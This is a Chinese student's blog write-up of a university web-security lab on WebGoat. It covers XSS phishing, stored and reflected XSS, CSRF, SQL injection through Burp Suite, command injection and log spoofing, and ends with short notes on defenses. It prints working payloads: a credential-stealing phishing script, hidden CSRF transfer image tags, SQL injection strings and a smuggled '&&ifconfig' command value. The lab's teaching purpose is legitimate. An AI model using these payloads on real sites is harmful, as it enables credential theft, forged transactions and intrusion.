20145335郝昊《网络攻防》Exp9 Web安全基础实践

20145335郝昊《网络攻防》Exp9 Web安全基础实践

实验内容

  • 理解常用网络攻击技术的基本原理。

  • 完成WebGoat实践下相关实验

实验步骤

XSS注入攻击

#######Phishing with XSS

  • 这个XSS攻击比较简单,需要的是在网页的文本框里写一个钓鱼网站,仔细读给的题目就可以分析出来(但是英语四级没过的我很伤=_=)

      </form>
        <script>
      function hack(){ 
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
      } 
        </script>
      <form name="phish">
      <br>
      <br>
      <HR>
        <H2>This feature requires account login:</H2>
      <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
      <br>
        <input type="submit" name="login" value="login" onclick="hack()">
      </form>
      <br>
      <br>
      <HR>
    
  • 之后点击提交,结果如下

#######Stored XSS Attacks

  • 这个是XSS攻击相对于简单一些的,要注意message的语法,输入命令<script> alert("输入你想输入的内容"); </script>其中alert函数就相当于c中的printf函数,注意其用法

  • 在message里输入的效果如下图

########Reflected XSS Attacks

  • 根据题目的提示,需要在文本框中数输入http://www.targetserver.com/search.asp?input=<script>alert("hello 5335");</script>

  • 之后提交到,显示结果如下

  • 注意:这个实验结果看起来和上面的挺相似,但是中间的过程是不同的,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容
CSRF攻击

#######Cross Site Request Forgey

  • 同样先别着急做题目,先查找一些题目中所给出的有效信息,因为后面会用到从题目所给出的一条语句,也就是解这道题目和之后csrf题目的关键

  • 通过题目可以分析出来,发送邮件,其中有个包含XSRF页面的请求的图像,但是这个图像需要隐藏。可以得到一条语句<img src=!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>分析题目可以得到需要得到这四个感叹号的值。第一个是第一个要输入的是哪个网站的attack,这里由于指向本网址,所以可以不填。、第二、三个感叹号值需要在网站里面寻找。第四个是指你让被攻击这想转多少前,这个就可以自己定。

  • 其中第二三个值在网页下面有一个表名为Parameters的表格,里面列出了所需要的src的值和menu的值,对于不同的电脑的值是不同的。所以我的代码应该是<img src='attack?Screen=283&menu=900&transferFunds=5335' width='1' height='1'>

  • 下一步就是在网页中填写message,添加一个title,之后随便写点内容,在把代码贴进去,点击发送
    之后在,在下面的MeaasgeLsit里点击一下,这个题目就完成了。

  • 操作步骤如下

  • 这个练习主要目的是让我们学会如何使用CSRF,用户在通过身份认证登录银行的网站A时,浏览器拿到了银行网站的cookies。接下来用户在A网站开着的情况下访问了B网站,这个B网站隐藏在图片里面,而图片又是不可见的,隐藏在Message里面。说明用户在不知情的情况下打开了邮件,顺便打开了B网站!B网站给A网站发送恶意请求,在A网站还开着的情况下,浏览器会误以为是用户发送请求,然后就会带着cookies和B网站发送的请求(例如转钱等)访问A网站执行!

########Prompt By-pass

  • 通过分析题目,这个和上一个挺相似,但是增加了一个新的恶意请求:一个是赚钱的金额,另一个是确认。

  • 根据上一个可以分析出来这个题目也是需要将信息伪装到邮件当中的,只不过这次需要两份邮件来完成,邮件中嵌入的代码和上一个类似,只不过第二个邮件需要将参数transferFunds从转账金额改为CONFIRM(其他的参数不变依然从自己的网页中寻找答案),之后发送两份邮件,点击第二封有邮件,可以发现完成了这个题目。

#######HTTPOnly Test

  • 这个实验也是运气还不错,点击yes 和 Read Cookie。

SQL练习
  • 首先做关于sql注入练习的时候需要用到kali自带的软件Burpsuite。有些需要进行注入,但是显然网页是无法注入的,此时就需要从捕获 包中修改信息进行注入。在使用软件的时候有些选项需要修改和配置。

  • 首先打开软件,next->start打开软件。

  • 设置代理Proxy->Optiuons选项,进行修改。默认是8080端口,但被占用需要添加一个新的端口,点击add,如下图所示

  • 此时改完以后还需要对火狐浏览器进行修改,即需要修改为数据包通过这个软件流通,不然设置好了也抓不上数据包。如下图所示

  • 在settings 里将No proxy修改为Manual proxy configuations并写入本机ip地址,和ip端口。

  • 注意:在做完实验记得将火狐浏览器的偏好设置关掉,不然无法正常上网
    #######String SQL Injection

  • 这个题目第8周实验的题目有些类似,因为题目的意思是通过SQL注入让所有信用卡号都看得见。题目最后一句话是 Try the user name of 'Simth'可以看出来尝试输入名字就可以得到其信用卡信息(当然我试了我自己的名字显然是没有我的信息=_=)

  • 那么解题的方式就在于构造一个永远都成立的式子,即构造一个语句'or 1='1,这样这道题目就迎刃而解。

#######Numeric SQL Injection

  • 根据题目进行分析 ,利用SQL注入使得可以看见所有所需要的数据,但是不同的是上一个可以在网站有输入框可以直接注入,但是这个不可以,就需要利用软件来抓包并修改数据。

  • 打开之前所说的软件并配置

  • 设置好之后回到题目,点击GO,再回到软件中,就可以发现捕获到的数据包

  • 之后在上图截获的数据中右键send to repeater之后修改station的值,从103修改为 103 or 1=1

  • 点击GO,可以看到右边response包中的SQL语句为
    SELECT * FROM weather_data WHERE station = 103 or 1=1正好是我们想要的。

  • 回到proxy,点击Intercept is on 发现这个题目完成了。

########Command Injection

  • 同样先看题目,确定题目需要让我们干什么,经过分析,同样是注入命令行。

  • 之前对于软件的的配置是与上一题是一样的先点击网页,看看能抓到什么包。

  • 我们发现可改部分是使用了命令行cat语句。注入的命令是AccessControlMatrix.help"&&ifconfig",解释一下,前面是原来的正常命令。而&&在命令行中是执行另外一条语句,最后一个双引号用来封闭原来的双引号!再次点击GO发现执行了ifconfig语句

  • 回到网页,发现这倒实验题目成功

#######Log Spoofing

  • 这道题目目的是让我们伪造一个假的日志信息,欺骗过去

  • user name 一栏里输入%0d%0aLogin Succeed fo 密码我输入了学号,就成功了。

实验问答

  • SQL注入攻击原理?如何防御?

    • 攻击原理:利用自己构造的sql语句来达到自己的(恶意)请求或访问,从中获取到一些不是自己所得到的信息。比如对原有数据库的非法修改和添加等基本操作。

    • 防御方法:因为在注入攻击是输入sql语句的,是需要很长的输入,可以通过输入规则限制来防范,除需要的字符外,其他类型的字符不允许输入

  • XSS攻击原理?如何方法?

    • 攻击原理:是跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,通过其他工具诱使别人访问从而运行代码。

    • 防御方法:与sql相似,对于输入规则进行控制,除一些需要的特殊字符外,其他的字符不能被输入或者限制输入。或者对于输入进行过滤。

  • CSRF攻击原理?如何防御?

    • 攻击原理:CSRF中的R是指request,恶意的请求,比xss还具危险信,是一种对网站的恶意利用,将一些恶意请求夹杂在邮件或其工具中传播,进行一些非常危险的冒名操作

    • 防御方法:对于一些不确定的信息,最好使用类似于验证码的方式来确认对方身份,对于用户修改删除等操作最好避免全站通用的cookie,严格设置cookie的域。

实验中遇到的问题

  • 在最开始解压压缩包的时候,卡在了一步运行不下去,问了课题负责人,他说他也没见过,不知道为什么,很难受

  • 后来问题解决了,是因为8080端口被占用的,被apapche2占用了,导致在解压的时候出了问题,后来kill 了进程号,就解压成功了

心得体会

总的来说这次实验如果能很好的理解上一次实验的基础,这次实验还是比较好做的。在这次实验第一个遇到的问题上面也提过,真的搞了好久,后来发现却是因为一个小问题。在开始做题的时候总是会磕磕绊绊,发现是对于题目理解的不透彻,如果对于题目不理解,那根本不知道题目的解题思路是什么,更别说车成功做出题目了借助周岐浩同学的博客对于做的题目有所了解(当然了我和他做的大部分题目还是不一样的)。在做csrf时候命令里!代表的数字始终寻找不到,或者找到是错误的,在仔细阅读题目的要求后发现是在网页下面表格中有给出。在做题的时候需要把握住sql注入是注入恶意代码或命令就需要有注入的地方,理解题意,网站上没有注入的地方就从后台注入,包括老师上课掩饰的键入f12打开网页源代码进行注入等等,总是一类题目会有一类的共同点,这对于解题也会有一点帮助。

posted @ 2017-05-12 19:17  20145335郝昊  阅读(454)  评论(0编辑  收藏  举报